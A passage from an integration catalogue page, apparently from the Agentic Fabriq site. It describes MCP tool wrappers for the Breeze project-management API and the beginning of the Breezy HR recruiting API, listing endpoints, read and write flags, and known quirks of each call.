The custom fields defined on a project. Read these before setting `custom_fields` on a card. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/custom_fields.json. Scopes: api. breeze_get_projects_by_project_id_json (read) — Show a project via GET /projects/{project_id}.json. One project by id, with its budget, members and tags. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}.json. Scopes: api. breeze_get_projects_by_project_id_people_json (read) — List a project's people via GET /projects/{project_id}/people.json. The people on a project. This is the endpoint Breeze's own documentation names; the `users` path answers the same shape. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/people.json. Scopes: api. breeze_get_projects_by_project_id_reactivate_json (write) — Reactivate an archived project via GET /projects/{project_id}/reactivate.json. Bring an archived project back to the active list. THIS IS A WRITE BEHIND A GET, like its archive counterpart. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/reactivate.json. Scopes: api. breeze_get_projects_by_project_id_stages_by_stage_id_cards_json (read) — List a stage's cards via GET /projects/{project_id}/stages/{stage_id}/cards.json. The cards in one board column, as a flat array. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/stages/{stage_id}/cards.json. Scopes: api. breeze_get_projects_by_project_id_stages_json (read) — List a project's stages via GET /projects/{project_id}/stages.json. A project's stages -- the board columns Breeze's documentation calls "lists". Read stage ids here before creating or moving a card. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/stages.json. Scopes: api. breeze_get_projects_by_project_id_swimlanes_by_swimlane_id_cards_json (read) — List a swimlane's cards via GET /projects/{project_id}/swimlanes/{swimlane_id}/cards.json. The cards in one swimlane, as a flat array. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/swimlanes/{swimlane_id}/cards.json. Scopes: api. breeze_get_projects_by_project_id_swimlanes_json (read) — List a project's swimlanes via GET /projects/{project_id}/swimlanes.json. A project's swimlanes -- the horizontal bands that cross the stage columns. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/swimlanes.json. Scopes: api. breeze_get_projects_by_project_id_users_json (read) — List a project's members via GET /projects/{project_id}/users.json. The people assigned to one project. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/users.json. Scopes: api. breeze_get_projects_json (read) — List projects via GET /projects.json. Every project the connected user can see, each with its budget, tags and member list. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects.json. Scopes: api. breeze_get_running_timers_json (read) — List running timers via GET /running_timers.json. Every timer running right now across the team, each with the card and project it is on. A running entry carries `started` (epoch milliseconds); a completed one does not. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/running_timers.json. Scopes: api. breeze_get_teams_json (read) — List team members via GET /teams.json. Breeze's team endpoint. MEASURED, IT RETURNS PEOPLE RATHER THAN TEAMS: on this account its reply is byte-identical to the user list. Prefer the connected-user tool's `team_id` if what you need is a team identifier. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/teams.json. Scopes: api. breeze_get_users_json (read) — List users via GET /users.json. The people on the account, with their roles. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/users.json. Scopes: api. breeze_get_v2_cards_json (read) — List cards across all projects (v2) via GET /v2/cards.json. Every card across every project as a FLAT array -- the v2 shape, which is what to prefer over the stage-grouped v1 board when you want cards rather than columns. Paginated 100 per page. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/v2/cards.json. Scopes: api. breeze_get_v2_projects_by_project_id_cards_json (read) — List a project's cards (v2, flat) via GET /v2/projects/{project_id}/cards.json. One project's cards as a FLAT array rather than grouped by stage. Prefer this over the v1 board when you want the cards themselves. Paginated 100 per page. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/v2/projects/{project_id}/cards.json. Scopes: api. breeze_get_workspaces_by_workspace_id_json (read) — Show a workspace via GET /workspaces/{workspace_id}.json. One workspace with the projects inside it -- the only place the membership is listed, since the workspace COLLECTION carries no `projects` array. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/workspaces/{workspace_id}.json. Scopes: api. breeze_get_workspaces_json (read) — List workspaces via GET /workspaces.json. The account's workspaces -- the folders projects are grouped into. A project's `workspace_id` names one. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/workspaces.json. Scopes: api. breeze_post_projects_by_project_id_cards_by_card_id_comments_json (write) — Comment on a card via POST /projects/{project_id}/cards/{card_id}/comments.json. Add a comment to a card. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/projects/{project_id}/cards/{card_id}/comments.json. Scopes: api. breeze_post_projects_by_project_id_cards_by_card_id_move_json (write) — Move a card to another stage via POST /projects/{project_id}/cards/{card_id}/move.json. Move a card between stages. `stage_id` is the destination; `prev_id` is the card it should sit after (0 for the top). Breeze's own docs note that the PUT form documented elsewhere is an error and this is the endpoint to use. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/projects/{project_id}/cards/{card_id}/move.json. Scopes: api. breeze_post_projects_by_project_id_cards_by_card_id_time_entry_json (write) — Log time on a card via POST /projects/{project_id}/cards/{card_id}/time_entry.json. Log time against a card. The entry is attributed to THE CONNECTED USER and to no one else -- Breeze's own documentation says so and there is no field to name another person. `tracked` is MINUTES. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/projects/{project_id}/cards/{card_id}/time_entry.json. Scopes: api. breeze_post_projects_by_project_id_cards_by_card_id_todo_lists_json (write) — Create a todo list on a card via POST /projects/{project_id}/cards/{card_id}/todo_lists.json. Create a todo list (a checklist) on a card. A todo cannot exist without one, so this is the first call when adding todos to a card that has none. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/projects/{project_id}/cards/{card_id}/todo_lists.json. Scopes: api. breeze_post_projects_by_project_id_cards_by_card_id_todos_json (write) — Add a todo to a card via POST /projects/{project_id}/cards/{card_id}/todos.json. Add a todo. `todo_list_id` IS REQUIRED and names the list it joins: measured, a body without it answers 404 even though the route exists. Create a todo list first if the card has none. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/projects/{project_id}/cards/{card_id}/todos.json. Scopes: api. breeze_post_projects_by_project_id_cards_json (write) — Create a card via POST /projects/{project_id}/cards.json. Create a card in a project. It lands in the project's first stage unless `stage_id` names another. `tags` is an array of strings. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/projects/{project_id}/cards.json. Scopes: api. breeze_post_projects_by_project_id_people_json (write) — Invite people to a project via POST /projects/{project_id}/people.json. Add people to a project by email address. THIS SENDS BREEZE INVITATION EMAIL to every address that is not already a member, and it may consume a seat on the plan. Returns the project's member list. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/projects/{project_id}/people.json. Scopes: api. breeze_post_projects_by_project_id_stages_json (write) — Create a stage via POST /projects/{project_id}/stages.json. Add a stage (board column) to a project. It is appended after the existing stages. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/projects/{project_id}/stages.json. Scopes: api. breeze_post_projects_by_project_id_swimlanes_json (write) — Create a swimlane via POST /projects/{project_id}/swimlanes.json. Add a swimlane to a project. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/projects/{project_id}/swimlanes.json. Scopes: api. breeze_post_projects_json (write) — Create a project via POST /projects.json. Create a project. Breeze seeds a new project with three stages -- Todo, Doing, Done -- which is why a create is immediately followed by a stage list rather than a stage create. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/projects.json. Scopes: api. breeze_post_reports_json (read) — Generate a time-tracking report via POST /reports.json. A time-tracking report over a date range, optionally narrowed by project, user, stage and tag. `start_date` also accepts the relative words last_month, last_week, yesterday, today, this_week and this_month. It READS: nothing is created or changed, despite the POST. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/reports.json. Scopes: api. breeze_post_workspaces_json (write) — Create a workspace via POST /workspaces.json. Create a workspace to group projects into. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. POST /api/v1/breeze/workspaces.json. Scopes: api. breeze_put_projects_by_project_id_cards_by_card_id_comments_by_comment_id_json (write) — Edit a comment via PUT /projects/{project_id}/cards/{card_id}/comments/{comment_id}.json. Replace a comment's text. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. PUT /api/v1/breeze/projects/{project_id}/cards/{card_id}/comments/{comment_id}.json. Scopes: api. breeze_put_projects_by_project_id_cards_by_card_id_json (write) — Update a card via PUT /projects/{project_id}/cards/{card_id}.json. Change a card's fields. TAGS ARE OVERWRITTEN, NOT APPENDED -- Breeze's own documentation says so and it was measured: sending ["gamma"] over a card tagged ["alpha","beta"] leaves exactly one tag. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. PUT /api/v1/breeze/projects/{project_id}/cards/{card_id}.json. Scopes: api. breeze_put_projects_by_project_id_cards_by_card_id_time_entry_by_time_entry_id_json (write) — Update a time entry via PUT /projects/{project_id}/cards/{card_id}/time_entry/{time_entry_id}.json. Change a logged time entry. Breeze updates it for the CONNECTED USER only. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. PUT /api/v1/breeze/projects/{project_id}/cards/{card_id}/time_entry/{time_entry_id}.json. Scopes: api. breeze_put_projects_by_project_id_cards_by_card_id_todo_lists_by_todo_list_id_json (write) — Rename a todo list via PUT /projects/{project_id}/cards/{card_id}/todo_lists/{todo_list_id}.json. Change a todo list's name. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. PUT /api/v1/breeze/projects/{project_id}/cards/{card_id}/todo_lists/{todo_list_id}.json. Scopes: api. breeze_put_projects_by_project_id_cards_by_card_id_todo_lists_by_todo_list_id_todos_by_todo_id_json (write) — Update a todo via PUT /projects/{project_id}/cards/{card_id}/todo_lists/{todo_list_id}/todos/{todo_id}.json. Change a todo's text or tick it off. THE PATH MUST GO THROUGH THE TODO LIST: measured, the shorter `/cards/{card_id}/todos/{todo_id}.json` form answers 404 on PUT even though its DELETE works. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. PUT /api/v1/breeze/projects/{project_id}/cards/{card_id}/todo_lists/{todo_list_id}/todos/{todo_id}.json. Scopes: api. breeze_put_projects_by_project_id_json (write) — Update a project via PUT /projects/{project_id}.json. Change a project's name or description. Fields that are omitted keep their value. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. PUT /api/v1/breeze/projects/{project_id}.json. Scopes: api. breeze_put_projects_by_project_id_stages_by_stage_id_json (write) — Rename a stage via PUT /projects/{project_id}/stages/{stage_id}.json. Change a stage's name. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. PUT /api/v1/breeze/projects/{project_id}/stages/{stage_id}.json. Scopes: api. breeze_put_projects_by_project_id_stages_by_stage_id_move_json (write) — Reorder a stage via PUT /projects/{project_id}/stages/{stage_id}/move.json. Move a board column so it sits after another one. `prev_id` is the stage it should follow, and it must be a DIFFERENT stage: measured, naming the moved stage as its own predecessor answers 500. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. PUT /api/v1/breeze/projects/{project_id}/stages/{stage_id}/move.json. Scopes: api. breeze_put_projects_by_project_id_swimlanes_by_swimlane_id_json (write) — Rename a swimlane via PUT /projects/{project_id}/swimlanes/{swimlane_id}.json. Change a swimlane's name. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. PUT /api/v1/breeze/projects/{project_id}/swimlanes/{swimlane_id}.json. Scopes: api. breeze_put_workspaces_by_workspace_id_json (write) — Rename a workspace via PUT /workspaces/{workspace_id}.json. Change a workspace's name. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. PUT /api/v1/breeze/workspaces/{workspace_id}.json. Scopes: api. ================================================================================ ## Breezy HR URL: https://www.agenticfabriq.com/integrations/breezyhr Section: Integrated Tools Breezy HR — 59 MCP tools Provider key: breezyhr. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. breezyhr_delete_company_by_companyid_position_by_positionid_candidate_by_candidateid_assessments_by_assessmentid (write, destructive) — Deletes an assessment by Breezy `_id`. When authenticated with a partner API key, only assessments owned by that partner's `provider_type` may be deleted. Breezy DELETE /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/assessments/{assessmentId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. DELETE /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/assessments/{assessmentId}. Scopes: api. breezyhr_delete_company_by_companyid_webhook_endpoint_by_endpointid (write, destructive) — Permanently deletes the specified webhook endpoint so it stops receiving any further event deliveries. Note: the response is a `200` JSON confirmation object (`success`, `message`, `endpoint_id`), not an empty body. Breezy DELETE /v3/company/{companyId}/webhook_endpoint/{endpointId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. DELETE /api/v1/breezyhr/company/{companyId}/webhook_endpoint/{endpointId}. Scopes: api. breezyhr_get_companies (read) — Returns the companies the authenticated user belongs to, as an array of company summary objects (`_id`, `name`, `friendly_id`, `member_count`, `initial`, `creation_date`, `updated_date`). Breezy GET /v3/companies. GET /api/v1/breezyhr/companies. Scopes: api. breezyhr_get_company_by_companyid (read) — Retrieves the company identified by `companyId` and returns its public profile: `_id`, `name`, `friendly_id`, `member_count`, `initial`, `creation_date`, and `updated_date`. Access requires the company's plan to have the Developer API feature enabled; if it doesn't, the request is rejected with a 403. Breezy GET /v3/company/{companyId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}. Scopes: api. breezyhr_get_company_by_companyid_candidates_search (read) — Finds candidates in the company whose email address matches `email_address`, searching company-wide across all positions rather than within a single job. Matching is exact on the normalized (lowercased, trimmed) email address — not a partial or fuzzy text search. Returns an array with one lightweight entry per matching candidate. Breezy GET /v3/company/{companyId}/candidates/search. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/candidates/search. Scopes: api. breezyhr_get_company_by_companyid_categories (read) — Returns the list of position category definitions available to the company, each with an `id` and `name`. The response combines Breezy's standard built-in categories (e.g. Software Development, Sales, Marketing) with any custom categories the company has defined; a custom category is only added if its `id` doesn't already match a built-in one. Breezy GET /v3/company/{companyId}/categories. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/categories. Scopes: api. breezyhr_get_company_by_companyid_custom_attributes_by_type (read) — Returns the custom attribute definitions configured for the company, filtered by entity `type` (`candidate` or `position`). Each item includes its `id`, `name`, and whether it is `secure`. Breezy GET /v3/company/{companyId}/custom-attributes/{type}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/custom-attributes/{type}. Scopes: api. breezyhr_get_company_by_companyid_custom_fields_by_type (read) — Returns the company's custom field definitions for the given `type` (`candidate` or `position`) — the field metadata (name, data type, options, etc.) configured at the company level, not the values recorded on any specific candidate or position. Each definition's `_id` is the `company_custom_field_id` used when reading or setting that field's value on an individual candidate or position record. Breezy GET /v3/company/{companyId}/custom-fields/{type}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/custom-fields/{type}. Scopes: api. breezyhr_get_company_by_companyid_departments (read) — Returns the list of department definitions configured for the company, each with an `id` and `name`. A department's `name` is the value accepted for the `department` field when creating or updating a position. Breezy GET /v3/company/{companyId}/departments. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/departments. Scopes: api. breezyhr_get_company_by_companyid_pipeline_by_pipelineid (read) — Returns the ordered list of stages that make up the specified pipeline, as an array of stage objects (e.g. `id`, `name`, `icon`) — not the full pipeline record (name, dates, etc.). `pipelineId` can be an actual pipeline ID, or the special values `default` / `default_pool` for the company's default position pipeline or talent-pool pipeline. Breezy GET /v3/company/{companyId}/pipeline/{pipelineId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/pipeline/{pipelineId}. Scopes: api. breezyhr_get_company_by_companyid_pipelines (read) — Returns the company's configured hiring pipelines as a JSON object keyed by pipeline name (e.g. `default`, `default_pool`), where each value is a Pipeline object. Breezy GET /v3/company/{companyId}/pipelines. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/pipelines. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid (read) — Retrieves a single position by ID, returning its full details (name, type, state, location, department, description, application form configuration, salary range, custom attributes, and team/admin user lists). If the position has a pending approval workflow, the response includes a `pending_approval` object describing the approvers. Breezy GET /v3/company/{companyId}/position/{positionId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_candidate_by_candidateid (read) — Retrieves a single candidate by ID, scoped to the given company and position, and returns the full candidate profile (contact info, source, stage, resume, education, work history, tags, scoring, etc.). Note: `resume.url`, if present, is rewritten to point back to this API's `/resume` sub-endpoint rather than the raw file location. Breezy GET /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_candidate_by_candidateid_assessments (read) — Returns the candidate's assessment results from integrated pre-employment testing providers (currently HackerRank, Criteria Corp, and Indeed Assessments), including status, score(s), test link, and report URL for each. Results from providers other than these are silently omitted from the response array. Breezy GET /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/assessments. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/assessments. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_candidate_by_candidateid_background_checks (read) — Returns the list of background check results requested for the candidate on this position. Each result includes `service_id` (`goodhire` or `checkr`), `id`, `status`, `report_url`, `creation_date`, `updated_date`, and `completion_date`. Background checks run through providers other than GoodHire or Checkr are omitted from the response. Breezy GET /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/background-checks. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/background-checks. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_candidate_by_candidateid_conversation (read) — Returns the candidate's message and activity thread — messages sent to or from the candidate (including messages posted by external users) and interview/meeting-time proposal events — ordered newest first. Breezy GET /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/conversation. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/conversation. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_candidate_by_candidateid_custom_fields (read) — Returns the custom field values recorded for a candidate on the specified position, as an array of custom field objects. Each object includes the field's `_id`, `name`, `type`, `data_type`, `value`, `secure` flag, `options`, and the parent `company_custom_field_id`. Breezy GET /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/custom-fields. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/custom-fields. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_candidate_by_candidateid_documents (read) — Returns the files stored for the candidate on this position — resumes and other documents uploaded by the candidate or added by recruiters — ordered most recently uploaded first. Each document's `file_url` is a secured download URL rather than a direct file link. Returns `412` if the candidate is not associated with the specified position. Breezy GET /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/documents. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/documents. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_candidate_by_candidateid_meta (read) — Returns a single aggregated bundle of activity and content for a candidate on a given position: tasks, notes (notepad and team notepad), documents, scorecards, questionnaires, interview schedule, stream (pipeline activity), conversation (messages), background checks, assessments, references, offers, e-docs, match score, and custom fields. Breezy GET /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/meta. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/meta. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_candidate_by_candidateid_questionnaires (read) — Returns the questionnaires sent to this candidate for the given position, including each questionnaire's sections and questions along with the candidate's submitted responses. File-upload question responses have their file URL rewritten to a secure v3 attachment link served through the authenticated API. Breezy GET /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/questionnaires. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/questionnaires. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_candidate_by_candidateid_stream (read) — Returns the candidate's full activity stream on the position — a chronological array of `StreamActivity` events (e.g. stage moves, notes, interviews, questionnaire activity), each with a `type`, `timestamp`, `first_of_day` flag, and an `object` payload whose shape varies by event type. To add a note to the stream, use the corresponding `POST` on this same endpoint. Breezy GET /v3/company/{companyId}/position/{positionId}/candidate/{candidateId}/stream. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidate/{candidateId}/stream. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_candidates (read) — Returns the candidates on a given position within a company, as an array of candidate summaries (id, name, contact info, stage, source, score, resume link, etc.). Pass `stage_id` to restrict the result to one pipeline stage. By default all candidates on the position are returned in a single unpaged response. Breezy GET /v3/company/{companyId}/position/{positionId}/candidates. Company-scoped: call List companies (GET /v3/companies) first to resolve companyId. GET /api/v1/breezyhr/company/{companyId}/position/{positionId}/candidates. Scopes: api. breezyhr_get_company_by_companyid_position_by_positionid_custom_fields (read) — Returns the custom fields configured on the specified position as an array of field objects (`_id`, `name`, `type`, `data_type`, `value`, `requirement`, and, where applicable, `options`). For fields with `data_type: "attachment"`, `value` is an array of attachment 